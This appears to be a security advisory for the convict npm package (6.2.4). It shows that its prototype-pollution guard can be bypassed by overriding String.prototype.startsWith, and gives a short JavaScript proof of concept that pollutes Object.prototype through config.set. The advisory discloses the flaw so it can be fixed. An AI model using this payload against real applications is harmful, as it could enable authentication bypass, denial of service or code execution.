### Summary
A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`.

### Details
The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings.

### PoC
#### Steps to reproduce
1. Install latest version of convict using `npm install` or cloning from git
2. Run the following code snippet:

```javascript
String.prototype.startsWith = () => false;
const convict = require('convict');
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set('constructor.prototype.polluted', 'yes');
console.log({}.polluted); // prints yes -> the patch is bypassed and prototype pollution occurred
```

#### Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
```
undefined
undefined OR throw an Error
```

#### Actual behavior
`Object.prototype` is polluted
This is printed on the console:
```
undefined
yes
```

### Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using `convict.set` may be affected.
It could potentially lead to the following problems:

1. Authentication bypass
2. Denial of service
3. Remote code execution (if polluted property is passed to sinks like eval or child_process)